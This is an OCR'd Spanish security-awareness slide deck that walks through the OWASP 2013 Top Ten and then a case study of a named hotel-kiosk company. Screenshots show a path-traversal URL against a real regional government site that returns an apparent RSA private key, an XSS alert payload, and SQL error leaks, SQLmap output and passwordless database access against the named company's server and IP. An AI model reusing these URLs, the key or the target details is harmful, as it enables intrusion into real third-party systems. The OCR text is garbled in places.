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Aclaracion por si las moscas...

Hacker: Experto/entusiasta de cualquier tipo que considera que poner la
informacion al alcance de todos constituye un extraordinario bien.
Jargon File

RFC1392: the Internet Users' Glossary, usefully amplifies this as: A person
who delights in having an intimate understanding of the internal
workings of a system, computers and computer networks in particular.

| C' | | lema.rae.es/dpd/srv/search?key=hacker

hacker.— pirata informitico.
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OWASP 2013 “Top Ten”

https://owasp.org

Los atacantes pueden potencialmente usar rutas diferentes a través de la
aplicacion web para hacer dafo a su negocio u organizacion.

Cada una de éstas rutas representa un riesgo que puede, 0 no, ser lo
suficientemente grave como para justificar la atencion.
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Al- Inyeccion

Las fallas de inyeccidn, tales como SQL, OS, y LDAP, ocurren cuando datos no confiables son enviados a un
interprete como parte de un comando o consulta. Los datos hostiles del atacante pueden engafar al
interprete en ejecutar comandos no intencionados o acceder datos no autorizados.

-

Agentes de
Amenaza

Especifico de la
Aplicacion

Considere a cualquiera
que pueda enviar
informacién no confiable
al sistema, incluyendo
usuarios externos,
usuarios internos y
administradores.

Vectores
de Ataque

El atacante envia ataques
con cadenas simples de
texto, los cuales explotan
la sintaxis del interprete a
vulnerar. Casi cualquier
fuente de datos puede ser
un vector de inyeccion,
incluyendo las fuentes
internas.

Debilidades
de Seguridad

Prevalencia
COMUN

Deteccion
PROMEDIO

Las fallas de inveccion ocurren cuando una

aplicacion envia informacion no confiable a un
interprete. Estas fallas son muy comunes,
particularmente en el cédigo antiguo. Se
encuentran, frecuentemente, en las consultas SQL,
LDAP, Xpath o NoSQL; los comandos de SO,
intérpretes de XML, encabezados de SMTP,
argumentos de programas, etc. Estas fallas son
faciles de descubrir al examinar el codigo, pero
dificiles de descubrir por medio de pruebas. Los
analizadores y «fuzzers» pueden ayudar a los
atacantes a encontrar fallas de inyeccion.

Impactos @ s
Técnicos

-9

Una inyeccion puede
causar pérdida o
corrupcion de datos,
pérdida de
responsabilidad, o
negacion de acceso.
Algunas veces, una
inyeccion puede llevar a
el compromiso total de el
servidor.

Impactos
al negocio

Especifico de la
aplicacién/negocio

Considere el valor de
negocio de los datos
afectados y la plataforma
sobre la que corre el
intérprete. Todos los
datos pueden ser
robados, modificados o
eliminados. ¢ Podria ser
dafiada su reputacion?
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Las fallas de inyeccidn, tales como SQL, OS, y LDAP, ocurren cuando datos no confiables son enviados a un

Al- Inyeccién interprete como parte de un comando o consulta. Los datos hostiles del atacante pueden engafiar al
interprete en ejecutar comandos no intencionados o acceder datos no autorizados.
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A2 - Pérdida de
Autenticacion y
Gestion de
Sesiones

e

Agentes de
Amenaza

Especifico de la
Aplicacion

Vectores
- de Ataque | =

Explotabilidad
PROMEDIO

Considere atacantes
anoénimos externos, asi
COMO a usuarios con sus
propias cuentas, que
podrian intentar robar
cuentas de otros.
Considere también a
trabajadores que quieran
enmascarar sus acciones.

El atacante utiliza
filtraciones o
vulnerabilidades en las
funciones de autenticacion
o gestion de las sesiones
(ej. cuentas expuestas,
contrasenas,
identificadores de sesion)
para suplantar otros
usuarios.

Debilidades
de Seguridad

PROMEDIO

Los desarrolladores a menudo crean esquemas
propios de autenticacion o gestion de las sesiones,
pero construirlos en forma correcta es dificil. Por
ello, a menudo estos esquemas propios contienen
vulnerabilidades en el cierre de sesidn, gestion de
contrasefas, tiempo de desconexion (expiracion),
funcion de recordar contrasefia, pregunta secreta,
actualizacion de cuenta, etc. Encontrar estas
vulnerabilidades puede ser dificil ya que cada
implementacion es Unica.

Técnicos

Estas vulnerabilidades
pueden permitir que
algunas o todas las
cuentas sean atacadas.
Una vez que el ataque
resulte exitoso, el
atacante podria realizar
cualquier accion que la
victima pudiese. Las
cuentas privilegiadas son
objetivos prioritarios.

Las funciones de la aplicacion relacionadas a autenticacion y gestion de sesiones son frecuentemente
implementadas incorrectamente, permitiendo a los atacantes comprometer contrasefias, claves, token de
‘ sesiones, o explotar otras fallas de implementacién para asumir la identidad de otros usuarios.

Impactos
al negocio

Especifico de la
aplicacion/negocio

Considere el valor de
negocio de los datos
afectados o las funciones
de la aplicacion
expuestas.

También considere el
impacto en el negocio de
la exposicion publica de
la vulnerabilidad.
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Las fallas XSS ocurren cada vez que una aplicacion toma datos no confiables y los envia al navegador web sin
una validacidn y codificacion apropiada. XSS permite a los atacantes ejecutar secuencia de comandos en el
navegador de la victima los cuales pueden secuestrar las sesiones de usuario, destruir sitios web, o dirigir al

A3 - Secuencia de
Comandos en Sitios

Cruzados (XSS)

usuario hacia un sitio malicioso.

Especifico de la
Aplicacién

Considere cualquier
persona que pueda
enviar datos no
confiables al sistema,
incluyendo usuarios
externos, internos y
administradores.

Explotabilidad

PROMEDIO

El atacante envia cadenas
de texto que son
secuencias de comandos
de ataque que explotan el
intérprete del navegador.
Casi cualquier fuente de
datos puede ser un vector
de ataque, incluyendo
fuentes internas tales
como datos de la base de
datos.

XSS es la falla de seguridad predominante en
aplicaciones web. Ocurren cuando una aplicacion,
en una pagina enviada a un navegador incluye
datos suministrados por un usuario sin ser
validados o codificados apropiadamente. Existen
tres tipos de fallas conocidas XSS: 1) Almacenadas,
2) Refleiadas vy 3) basadas en DOM.

La mayoria de las fallas XSS son detectadas de
forma relativamente facil a través de pruebas o por
medio del analisis del cédigo.

MODERADO

El atacante puede
ejecutar secuencias de
comandos en el
navegador de la victima
para secuestrar las
sesiones de usuario,
alterar la apariencia del
sitio web, insertar cédigo
hostil, redirigir usuarios,
secuestrar el navegador
de la victima utilizando
malware, etc.

7
% Vectores Debilidades Impactos Impactos
Agentes :e- B de Ataque [ ARERSRIG de Seguridad ) Gl i 4 Técnicos ) - al negocio
Amenaza

Especifico de la
aplicacién / negocio

Considere el valor para el
negocio del sistema
afectado y de los datos
que éste procesa.

También considere el
impacto en el negocio la
exposicion publica de la
vulnerabilidad.

Cackron



OWASP 2013 “Top Ten”

r“ Bt S L R e | P
Casa DE Su MAajESTAD EL RE)Y

Organizacion y Presupuesto La Monarquia en la Hi

or web sin
dos en el

> dirigir al

A3 - Secuencia
Comandos en Si
Cruzados (XS¢

Sobre Domin

Eetaniances Inicio > Actividades y Agenda > Adtividades >

[ [ESNEEN 5

/ « LogIn-demo

J
»)
& X ©®eva ) "> <script>alert(doc % | W

= MANG(O gz

DE DONDE SEA

Esperando evaluatemacs.a »
™o
LA L R R J
-, (ZX XX
Po ee o
Pc oo oo
Mapa web  Contacto  Advertencia Legal  Accesibilidad g
| — E —




OWASP 2013 “Top Ten”

A4 - Referencia
Directa Insegura a
Objetos

Una referencia directa a objetos ocurre cuando un desarrollador expone una referencia a un objeto de
implementacion interno, tal como un fichero, directorio, o base de datos. Sin un chequeo de control de

acceso u otra proteccion, los atacantes pueden manipular estas referencias para acceder datos no
autorizados.

o

Agentes de

Especifico de la
Aplicacion

Considere los tipos de
usuarios en su sistema.
¢Existen usuarios que
tengan Gnicamente
acceso parcial a
determinados tipos de
datos del sistema?

=0

Un atacante, como usuario
autorizado en el sistema,
simplemente modifica el
valor de un parametro que
se refiere directamente a
un objeto del sistema por
otro objeto para el que el
usuario no se encuentra
autorizado. ¢Se concede el
acceso?

Debilidades
de Seguridad

Impactos
al negocio

Vectores
de Ataque

™ ‘ ImpaCtOS . -m
Técnicos

Prevalencia
COMUN

Especifico de la
aplicaciéon/negocio

MODERADO

Considere el valor de
negocio de los datos

Normalmente, las aplicaciones utilizan el nombre o j Dichas vulnerabilidades
clave actual de un objeto cuando se generan las pueden comprometer
paginas web. Las aplicaciones no siempre verifican Jtoda la informacion que [ afectados o las funciones
que el usuario tiene autorizacion sobre el objetivo. | pueda ser referida por de la aplicacion
expuestas.

Esto resulta en una vulnerabilidad de referencia de j parametros. A menos

que el espacio de
nombres resulte escaso,

objetos directos inseguros. Los auditores pueden
manipular facilmente los valores del parametro

También considere el
impacto en el negocio de
la exposicion publica de
la vulnerabilidad.

para detectar estas vulnerabilidades. Un analisis de JJ para un atacante resulta

sencillo acceder a todos
los datos disponibles de
ese tipo.

codigo muestra rapidamente si la autorizacion se
verifica correctamente.
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- renci Una referencia directa a objetos ocurre cuando un desarrollador expone una referencia a un objeto de
ererencia
Directa Insegura a implementacion interno, tal como un fichero, directorio, o base de datos. Sin un chequeo de control de

2 acceso u otra proteccion, los atacantes pueden manipular estas referencias para acceder datos no
ObjetOS | autorizados.

/

L o c www.cortesclm.es/paginas/verley2.php?fichero=/etc/httpd/server.key

Usted se encuentra en: Inicio - Legislacion - Leyes

LEYES DE CASTILLA-LA MANCHA

----- BEGIN RSA PRIVATE KEY----- MIICWwIBAAKBgQDhFfaU5IdCINqUaVAiHYURwiZ2/3AocF/p2MngLcOfy10jPHU1 1IYgqymVQ7UyFsi+yrUEs8WYqOBdiJkzWQqZ0jnIL/
tsjNPjnrQd1tPnj4YksipQYKEMp6adcWZGRhiHLtMvOakXmsn4xhl1huKQIDAQAB AoGADe/oNsv3vBaAsIPbDGG75Z/x9chXT4m1xqsPxPvQcyKKUEE8EbAj2FJz95DZ
/iVMYsnrkTbZVp/mgsNQWqwB1nP+NfsvgRF005IkLSVIRaP71nMFWBiqf7gl7pké jXcQjHrxg30dgXjl8YmoORXKe/qL4gT5YAtQcAQqghIskBqECQQDIYJZKyN7uSasW
ny70mOMPgvH9Ix6YtiFVaKQWm5RFDvK4unppoWAbpv3f7deHKYEmF2bFN5IP+nQO WsJn8yRtAKEA42poZ CMFKiqvAYypTZ4RGICGm+luocHlégnDLzjYfmWihjzadZ25
1B5pgxNW7KZjaQ2kZz+zLQblgkWibszDLQJAaiZMOIfW3b7aLmAB/AyPy6/QMXzF FLU4wc9U7yO+ui/JABsfraEt4mfTdDzwTm/U62Bibb0OdPaRvepQLXgE/AQJAelyL
UamOr094/WVGyblkdsKA2FzhHDXgXjNW(82WVU0i402ZSUeGnf6RB75UsZVx1No6 b9DAdfnV5zxqo/Ru8QJAEQBEeGXFnAfw8Ap39WM/UGE 1hP8gzHb3IVIVEODONSku
Li++WOYuxY6F645z7jnZCdzHwluglfnybkVvGGQRog== ----- END RSA PRIVATE KEY-----

L,
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Una buena seguridad requiere tener definida e implementada una configuracion segura para la aplicacion,

A5 - Conﬁgqracnon marcos de trabajo, servidor de aplicacion, servidor web, base de datos, y plataforma. Todas estas
de Segurldad configuraciones deben ser definidas, implementadas, y mantenidas ya que por lo general no son seguras
Incorrecta por defecto. Esto incluye mantener todo el software actualizado, incluidas las librerias de cédigo utilizadas
por la aplicacion.
=7

Vectores Debilidades |mpactos |mPBCtOS
Agentes:e" “*r de Ataque @ = gERnERg de Seguridad @uunmun=p=® Técnicos | B ¢ al negocio
Amenaza — o

Especifico de la
Aplicacion

Considere atacantes
anonimos externos asi
cOmo usuarios con sus
propias cuentas que
pueden intentar
comprometer el sistema.
También considere
personal interno
buscando enmascarar
sus acciones.

Un atacante accede a
cuentas por defecto,
paginas sin uso, fallas sin
parchear, archivos y
directorios sin proteccion,
etc. para obtener acceso
no autorizado o
conocimiento del sistema.

Prevalencia

COMUN

Las configuraciones de seguridad incorrectas
pueden ocurrir a cualquier nivel de la aplicacién,
incluyendo la plataforma, servidor web, servidor
de aplicacion, base de datos, framework, y cddigo
personalizado. Los desarrolladores y
administradores de sistema necesitan trabajar
juntos para asegurar que las distintas capas estan
configuradas apropiadamente. Las herramientas
de detaccion automatizadas son Utiles para
detectar parches omitidos, fallos de configuracion,
uso de cuentas por defecto, servicios innecesarios,
etc.

Impacto
MODERADO

Estas vulnerabilidades
frecuentemente dan a
los atacantes acceso no
autorizado a algunas
funcionalidades o datos
del sistema.
Ocasionalmente
provocan que el sistema
se comprometa
totalmente.

Especifico de la
aplicacién / negocio

El sistema podria ser
completamente
comprometido sin su
conocimiento. Todos sus
datos podrian ser
robados o modificados
lentamente en el tiempo.

Los costes de
recuperacion podrian ser
altos.

Cackron
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Muchas aplicaciones web no protegen adecuadamente datos sensibles tales como nimeros de tarjetas de
crédito o credenciales de autenticacion. Los atacantes pueden robar o modificar tales datos para llevar a
cabo fraudes, robos de identidad u otros delitos. Los datos sensibles requieren de métodos de proteccion
adicionales tales como el cifrado de datos, asi como también de precauciones especiales en un intercambio

A6 — Exposicion
de datos sensibles

de datos con el navegador.

)
Vectores Debilidades | Impactos
@uuunfn® _ @ufluunun@® S @uunnnnnsha® |MPactos guafin @ 2
Agentes de de Ataque de Segurldad Técnicos al negocio
Amenaza —
Especifico de la Explotabilidad Prevalencia Deteccion Especifico de la
Aplicacién DIFIiCIL NO COMUN PROMEDIO Aplicacién/Negocio

Considere quién puede
obtener acceso a sus
datos sensibles y
cualquier respaldo de
éstos. Esto incluye los
datos almacenados, en
transito, e inclusive en el
navegador del cliente.
Incluye tanto amenazas
internas y externas.

Los atacantes tipicamente
no quiebran la criptografia

de forma directa, sino algo

mas como robar claves,
realizar ataques “man in
the middle”, robar datos
en texto claro del servidor,
mientras se encuentran en
transito, o del navegador
del usuario.

La debilidad mds comun es simplemente no cifrar
datos sensibles. Cuando se emplea cifrado, es
comun detectar generacion y gestion débiles de
claves, el uso de algoritmos débiles, y
particularmente técnicas débiles de hashing de
contrasefas. Las debilidades a nivel del navegador
son muy comunes y faciles de detectar, pero
dificiles de explotar a gran escala. Atacantes
externos encuentran dificultades detectando
debilidades en a nivel de servidor dado el acceso
limitado y que son usualmente dificiles de explotar.

Los fallos
frecuentemente

comprometen todos los
datos que deberian estar
protegidos. Tipicamente,
esta informacion incluye
datos sensibles como ser
registros médicos,
credenciales, datos
personales, tarjetas de
crédito, etc.

Considere el valor de
negocio de la pérdida de
datos y el impacto a su
reputacion. ¢Cual su
responsabilidad legal si
estos datos son
expuestos? También
considere el dafio a la
reputacion.

Cackron
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A7 - Ausencia de
Control de Acceso a
Funciones

La mayoria de aplicaciones web verifican los derechos de acceso a nivel de funcidn antes de hacer visible en
la misma interfaz de usuario. A pesar de esto, las aplicaciones necesitan verificar el control de acceso en el
servidor cuando se accede a cada funcion. Si las solicitudes de acceso no se verifican, los atacantes podran
realizar peticiones sin la autorizacion apropiada.

-

Agentes de
Amenaza

Especifico de la
Aplicaciéon

Cualquiera con acceso a
la red puede enviar una
peticion a su aplicacion.
¢Un usuario anénimo
podria acceder a una
funcionalidad privada o
un usuario normal
acceder a una funcion
que requiere privilegios?

Vectores

- de Ataque

El atacante, que es un
usuario legitimo en el
sistema, simplemente
cambia la URL o un
parametro a una funcion
con privilegios. ¢Se le
concede acceso? Usuarios
anonimos podrian acceder
a funcionalidades privadas

que no estén protegidas.

Debilidades
de Seguridad

Deteccion
PROMEDIO

Prevalencia

COMUN

Las aplicaciones no siempre protegen las
funcionalidades adecuadamente. En ocasiones la
proteccion a nivel de funcionalidad se administra
por medio de una configuracion, y el sistema esta
mal configurado. Otras veces los programadores
deben incluir un adecuado chequeo por codigo, y
se olvidan.

La deteccion de este tipo de vulnerailidad es
sencillo. La parte mas compleja es identificar qué
paginas (URLs) o funcionalidades atacables existen.

=s® |Mpactos gusm
Técnicos

MODERADO

Estas vulnerabilidades
permiten el acceso no
autorizado de los
atacantes a funciones del
sistema.

Las funciones
administrativas son un
objetivo clave de este
tipo de ataques.

Impactos
al negocio

Especifico de la
aplicacién/negocio

Considere el valor para
su negocio de las
funciones expuestas y los
datos que éstas
procesan. Ademas,
considere el impacto a su
reputacion si esta
vulnerabilidad se hiciera
publica.
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‘A8-Fabﬁkad6nde
Peticiones en Sitios
Cruzados (CSRF)

Un ataque CSRF obliga al navegador de una victima autenticada a enviar una peticion HTTP falsificado,
incluyendo la sesién del usuario y cualquier otra informacién de autenticacion incluida automaticamente, a
una aplicacion web vulnerable. Esto permite al atacante forzar al navegador de la victima para generar
pedidos que la aplicacion vulnerable piensa son peticiones legitimas provenientes de la victima.

i

Agentes de
Amenaza

Vectores
i | de Ataque I oy

Debilidades
de Seguridad

Especifico de la
Aplicacion

Considere cualquier
persona que pueda
cargar contenido en los
navegadores de los
usuarios, y asi obligarlos
a presentar una solicitud
para su sitio web.
Cualquier sitio web o
canal HTML que el
usuario acceda puede
realizar este tipo de
ataque.

Explotabilidad

PROMEDIO

El atacante crea peticiones
HTTP falsificadas y engafa
a la victima mediante el
envio de etiquetas de
imagenes, XSS u otras
técnicas. Si_el usuario est3d
autenticado, el ataque

tiene éxito.

Prevalencia
COMUN

CSRF aprovecha el hecho que la mayoria de las
aplicaciones web permiten a los atacantes predecir
todos los detalles de una accion en particular.
Dado que los navegadores envian credenciales
como cookies de sesidon de forma automatica, los
atacantes pueden crear pdginas web maliciosas
que generan peticiones falsificadas que son
indistinguibles de las legitimas. La deteccion de
fallos de tipo CSRF es bastante facil a través de
pruebas de penetracion o de analisis de codigo.

=@ IMpactos g um
Técnicos

Impactos

L] A
) g al negocio

Impacto
MODERADO

Especifico de la
aplicacion/negocio

Los atacantes pueden
cambiar cualquier dato
que la victima esté
autorizada a cambiar, 0 a
acceder a cualquier
funcionalidad donde esté
autorizada, incluyendo
registro, cambios de
estado o cierre de sesion.

Considerar el valor de
negocio asociado a los
datos o funciones
afectados. Tener en
cuenta lo que representa

no estar seguro si los
usuarios en realidad
desean realizar dichas
acciones. Considerar el

impacto que tiene en la
reputacion de su
negocio.
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A9 — Utilizacion de
componentes con

Algunos componentes tales como las librerias, los frameworks y otros mddulos de software casi siempre
funcionan con todos los privilegios. Si se ataca un componente vulnerable esto podria facilitar la intrusion

en el servidor o una perdida seria de datos. Las aplicaciones que utilicen componentes con vulnerabilidades

Vumerab'.hdades conocidas debilitan las defensas de la aplicacion y permiten ampliar el rango de posibles ataques e
conocidas impactos.
4
Vectores Debilidades | Impactos
% @ununh e _ @Oufluuunn® b @uunnnnnnfu® IMPaACtos guufin 2
Agentes de de Ataque de Seguridad ~ Técnicos al negocio
Amenaza S —

Especifico de la
Aplicacion

Algunos componentes
vulnerables (por ejemplo
frameworks) pueden ser
identificados y
explotados con
herramientas
automatizadas,
aumentando las
opciones de la amenaza
mas alla del objetivo
atacado.

Explotabilidad

PROMEDIO

El atacante identifica un
componente débil a través
de escaneos automaticos o
analisis manuales. Ajusta el
exploit como lo necesita y
ejecuta el ataque. Se hace
mas dificil si el
componente es
ampliamente utilizado en
la aplicacion.

Detectabilidad
DIFiCIL

Virtualmente cualquier aplicacion tiene este tipo
de problema debido a que la mayoria de los
equipos de desarrollo no se enfocan en asegurar
que sus componentes / bibiliotecas se encuentren
actualizadas. En muchos casos, los desarrolladores
no conocen todos los componentes que utilizan, y
menos sus versiones. Dependencias entre
componentes dificultan incluso mas el problema.

Impacto
MODERADO

El rango completo de
debilidades incluye
inyeccion, control de
acceso roto, XSS, etc. El
impacto puede ser desde
minimo hasta
apoderamiento completo
del equipo y compromiso
de los datos.

Especifico de la
aplicacién / negocio

Considere qué puede
significar cada
vulnerabilidad para el
negocio controlado por
la aplicacion afectada.
Puede ser trivial o puede
significar compromiso
completo.
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A10 -
Redirecciones y
reenvios no
validados

Las aplicaciones web frecuentemente redirigen y reenvian a los usuarios hacia otras paginas o sitios web, y
utilizan datos no confiables para determinar la pagina de destino. Sin una validacion apropiada, los
atacantes pueden redirigir a las victimas hacia sitios de phishing o malware, o utilizar reenvios para acceder

paginas no autorizadas.

4

Agentes de
Amenaza

Especifico de la
Aplicacion

Vectores
=1 de Ataque [ s

Explotabilidad
PROMEDIO

Debilidades
de Seguridad

Prevalencia
POCO COMUN

Considere la probabilidad
de que alguien pueda
engafar a los usuarios a
enviar una peticion a su
aplicacion web. Cualquier
aplicacion o cédigo HTML
al que acceden sus
usuarios podria realizar
este engano

Un atacante crea enlaces a
redirecciones no validadas
y engana a las victimas
para que hagan clic en
dichos enlaces. Las
victimas son mas
propensas a hacer clic
sobre ellos ya que el enlace
lleva a una aplicacion de
confianza. El atacante
tiene como objetivo los
destinos inseguros para
evadir los controles de
seguridad.

Con frecuencia, las aplicaciones redirigen a los
usuarios a otras paginas, o utilizan destinos
internos de forma similar. Algunas veces la pagina
de destino se especifica en un parametro no
validado, permitiendo a los atacantes elegir dicha
pagina.

Detectar redirecciones sin validar es facil. Se trata
de buscar redirecciones donde el usuario puede
establecer la direccion URL completa. Verificar
reenvios sin validar resulta mas complicado ya que
apuntan a paginas internas.

Impactos
al negocio

= !mpactos g us
Técnicos

Impacto
MODERADO

Especifico de la
Aplicacion / Negocio

Considere el valor de
negocio de conservar la
confianza de sus
usuarios.

Estas redirecciones
pueden intentar instalar
codigo malicioso o
engafar a las victimas
para que revelen
contrasefias u otra
informacion sensible. El
uso de reenvios
inseguros puede permitir
evadir el control de
acceso.

¢Qué pasaria si sus
usuarios son infectados
con codigo malicioso?

¢Qué ocurriria si los
atacantes pudieran
acceder a funciones que
sélo debieran estar
disponibles de forma
interna?

Cackron
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Caso empresa X: donde todos quieren estar... Protegidos!

: J|nf0‘ (8) INICIO ¥~ INFOTACTILE HOTELES [ ANUNCIARSE < FRANQUICIA CARACTERISTICAS MEDIA -/ CONTACTAR

Infotactile® es un dispositivo tactil que, ubicado
en los mejores hoteles, proporciona toda la
informacién de interés que un huésped necesita. CopuaL
Mas informacién >> Infotactile®
Infotactile® Infotactile® Hazte
para g para distribuidor
HOTELES NEGOCIOS

Infotactile® . .

Cackron




Sencilla busqueda en los indexadores publicos de contenidos...

search?q=cache:kDMJF320rj4J:infotactile.com/infotactile.php + &cd=19&hl=es&ct=clnk&gl=es

s e . s =
&]lnfo[gl Cl |(_3} L1 INICIO QINFOTACTILEQ H HOTELES 7 ANUNCIARSE < FRANQUICIA = CARACTERISTICAS ([ MEDIA ) CONTACTAR

‘Warning: pg_query(): Query failed: ERROR: syntax error at end of input LINE 1: SELECT *
FROM web.contacto WHERE pais=* in /h ;_DB.php

+34 941145057

Teléfono de contacto:

] info@infotactile.com
Q Infotactile?

Bretén de los Herreros, 2 bajo 6

26.500 Calahorra LA RIOJA
© spain
Ver mapa.
Infotactile® Infotactile® Hazte

para
HOTELES

para distribuidor

NEGOCIOS Infotactile®

‘nfotactile’

tackron
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Sencilla busqueda en los indexadores publicos de contenidos...

< C'  ® webcache.googleusercontent.com/search?q=cache:taOgz3|-_iwJ:infotactile.com/noticias.php+&cd=24&hl=es&ct=cink&gl=es
oa R — T I————— e e = B ==
N, . '
‘ lnfo INICIO e~ INFOTACTILE® HOTELES ANUNCIARSE FRANQUICIA CARACTERISTICAS MEDIA CONTACTAR
Esta es la version en caché de http: i icias.php de Google. Se trata de una captura de pantalla de la pagina tal como esta se mostraba el 17 Ene 2017 13:05:37 GMT.

Es posible que la pagina haya sufrido modificaciones durante este tiempo. Més informacién

Varning: pg_query(): Query failed: ERROR: syntax error at or near "ORDER" LINE 1: ..ticias WHERE estado = 1 AND portada = 1 AND pais= ORDER BY f... * in /home/infotact/public_html/clases/class_DB.php on line 87

Laisd Noticias Warning: pg_query(): Query failed: ERROR: syntax error at or near "ORDER" LINE 1:...deo
FROM web.noticias WHERE estado = 1 AND pais= ORDERBY f... * in

Warning: pg_query(): Query failed: /home/infotact/public_html/clases/class_DB.php on line 87

ERROR: syntax error at or near "ORDER"

LINE 1:..ada FROM web.noticias WHERE

estado = 1 AND pais= ORDERBY f... * in

/home/infotact/public_html/clases/class_| INFOTACTILE PRESENTA

online 87 NOVEDADES PARA

TURISMO Y TICKETING EN
INFOTACTILE PRESENTA

NOVEDADES PARA TURISMO FITUR

| £]¥] La marca de dispositivos de informacién,
publicidad y venta de entradas acude, un afo
mas, a FITUR y mostrara ahi sus dispositivos
12/01/2017 actualizados y nuevas soluciones para mejorar
INFOTACTILE INSTALA SU el turismo y la venta de entradas.

PRIMER DISPOSITIVO DE

23/12/2016
CORDOBA YATIENE 6
DISPOSITIVOS INFOTACTILE

| £l
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Parametros en URLs no validados revelando algoritmos de hashing, consultas y rutas de la aplicacion...

< C @ entradas.infotactile.com/entradas.htmi?sesion=40e27%2 fbf252727cf38024a416edad30

Narning: pg_query(): Query failed: ERROR: syntax error at or near "8" LINE 1: ...s_sesiones WHERE md5(id | | fecha::text) = '970e27'8bf252727c... A in /home/infotact/public_html/tiendas/tiendas/general/clases/class_DB.php on line 80

WNarning: pg_query(): Query failed: ERROR: invalid input syntax for integer: " LINE 1: ...(SELECT id FROM public.secciones WHERE producto = ") ORDER ... A in fhome/infotact/public_html/tiendas/tiendas/general/clases/class_DB.php on line 80

Narning: pg_query(): Query failed: ERROR: invalid input syntax for integer: " LINE 1: ... * FROM public.galeria_productos WHERE producto =" ORDER B... A in /home/infotact/public_html/tiendas/tiendas/general/clases/class_DB.php on line 80
WNarning: pg_query(): Query failed: ERROR: invalid input syntax for integer: " LINE 1: ...ion in (SELECT id FROM public.secciones WHERE producto = ") A in /home/infotact/public_html/tiendas/tiendas/general/clases/class_DB.php on line 80
WNarning: pg_query(): Query failed: ERROR: invalid input syntax for integer: " LINE 1: ...ion in (SELECT id FROM public.secciones WHERE producto = ") A in /home/infotact/public_html/tiendas/tiendas/general/clases/class_DB.php on line 80
WNarning: pg_query(): Query failed: ERROR: invalid input syntax for integer: " LINE 1: ...cio) FROM public.tiendas_precios WHERE producto = ") as pre... A in /home/infotact/public_html/tiendas/tiendas/general/clases/class_DB.php on line 80

Narning: pg_query(): Query failed: ERROR: syntax error at or near "8" LINE 1: ...s_sesiones WHERE md5(id | | fecha::text) = '970e27'8bf252727c¢... A in /home/infotact/public_html/tiendas/tiendas/general/clases/class_DB.php on line 80

WNarning: pg_query(): Query failed: ERROR: syntax error at or near "8" LINE 1: ...s_sesiones WHERE md5(id | | fecha ‘text) = '970e27 8bf252727c¢... A in /home/infotact/public_ htmIltiendas/tlendas/generavdaseslclass DB.php on line 80
Z L

\i ' .\ Elijalel| evento.y/adqulera =

ANV ( ¢ \ \\
SSSXY)) /&»/ ¥ sus entradas con \Il\ C“%

Entradas para // |

No hay entradas

.. -~kron



Incluso en SHODAN con la exposicidn de su base de datos...

@& Esseguro https://www.shodan.io/host/37.187.153.126
8d:4/:/4:ba:eb:ad:/biec:t2:eaie3:¥5:
80:3c:0a:3:22:1f:27:20:bd:de:d6:a7:
3b:5b:01:8c:76:bb:43: f5:dc:4f:49:68:
33:d1:0¢:93:9d:4a:66:50:69:84:2a:90:
3d: f7
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Authority Key Identifier:
keyid:7E:03:5A:65:41:6B:A7:7E:0A:E1:B8:¢

VEANLD Cihinnd Vau Tdantifinme

5432 PostgreSQL
tcp
postgresq| PostgreSQL
FATAL: no pg_hba.conf entry for host "xxx.xxx.xxx.xxx", user "postgres", database "template@", SSL off

X509v3 CRL Distribution Points:

Full Name:
URI:http://crl.comodoca.com/cPanelInc(

Authority Information Access:
CA Issuers - URI:http://crt.comodoca.con

= . . [} o
OCSP - URI:http://ocsp.comodoca.com : o

X509v3 Subject Alternative Name:
DNS:ns318151. ip-37-187-153.eu, DNS:www.
Signature Algorithm: sha256WithRSAEncryption
50:2d:58:1a:59:d9:f9:30:d0@:bc:51:e3:35:94:96:33
e2:bc:6e:31:6c:2e:95:f7:8f:d5:24:43:06:3c:34:44
40:10:92:4c:f8:47:b5:b4:a4:4c:bf:b1:12:50:d4:58 .
==
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SQLmap en accion revelando datos que potencialmente podrian emplearse en un ataque a sus sistemas...

web application technology: Apache, PHP 5.4.38

back-end DBMS operating system: Linux Red Hat

back-end DBMS: PostgreSQL

banner: "PostgreSQL 9.1.14 on x86_64-unknown-1linux-gnu, compiled by gcc (GCC) 4.4.7 20120313 (Red Hat 4.4.7-
4), 64-bit’

current user: "infotact'

[20:49:43] [WARNING] on PostgreSQL you'll need to use schema names for enumeration as the counterpart to databa
se names on other DBMSes

current schema (equivalent to database on PostgreSQL): "public’

[20:49:43] [WARNING] on PostgreSQL it is not possible to enumerate the hostname

hostname: None

[20:49:43] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast’

arn_cwitch !

current user is DBA: False

Cackron




Datos en transito completamente desprotegidos ni cifrados...

@ PG Commander Favorites

Connect without encryption?

The server doesn't support SSL. If you connect, data
will be transferred over the network in plain text, and
the identity of the server can't be verified.

Connect

PG Commander

Version 1.5.9

Cackron




Acceso a la Base de Datos con el usuario conocido y sin contraseia con todas las tablas de la aplicacion...

I3 @ infotactile - infotact

Show Sidebar New Window SQL Terminal Filter

infotactile [ infotact

borrado clerre datos_obligatorios_t... datos_obligatorios_t... dias horarios hoteles hoteles_it idiomas idiomas_tablas paises palabras poblaciones

provincias rango_horarios  tiendas_agrupadores tiendas_alarmas tiendas_alquileres tiendas_bancos tiendas_categorias tiendas_categorias_... tiendas_clientes tiendas_codigos  tiendas_comision_h... tiendas_complemen... tiendas_complemen...

tiendas_complemen... tiendas_complemen... tiendas_datos_clien... tiendas tiendas _¢ b tiendas ¢ ig tiendas_entradas tiendas_entradas_10... tiendas_entradas_s.. tiendas_entregas tiendas_facturas tiendas_franquiciad... tiendas_grupo_prec...

tiendas_guias tiendas_horarios  tiendas_horarios_dias  tiendas_hoteles tiendas.s tiendas. tiendas. L tiendas_pedidos_fa... tiendas_pedidos_fa.. tiendas_precios tiendas_precios_hor... tiendas_precios_hor... tiendas_precios_pa...

tiendas_precios_pa... tiendas_precios_tra.. tiendas_| tiendas_| _... tiendas_| ... tiendas_| .. tiendas, . tiendas,

... tiendas_i tiendas_| tiendas_f tiendas_registro_cu...

tiendas_registro_cu... tiendas_relaciones._.. tiendas_relaciones_... tiendas_sesiones tiendas_tags tiendas_tareas tiendas_tareas_log tiendas_taxi_destinos tiendas_taxi_hotel tiendas_tiendas  tiendas_tipo_factura tiendas_tipo_produ... tiendas_tipos_alarma

tiendas_tipos_entrega tiendas_tipos_factur... tiendas_traducciones  tiendas ventas  tiendas ventas_deta... tiendas_ventas_deta... tiendas_ventas_deta... tiendas_ventas_dire.. tiendas_ventas_dnis tiendas ventas_gra.. tiendas_ventas rest.. tiendas ventas_taxi tiendas_ verificacion...

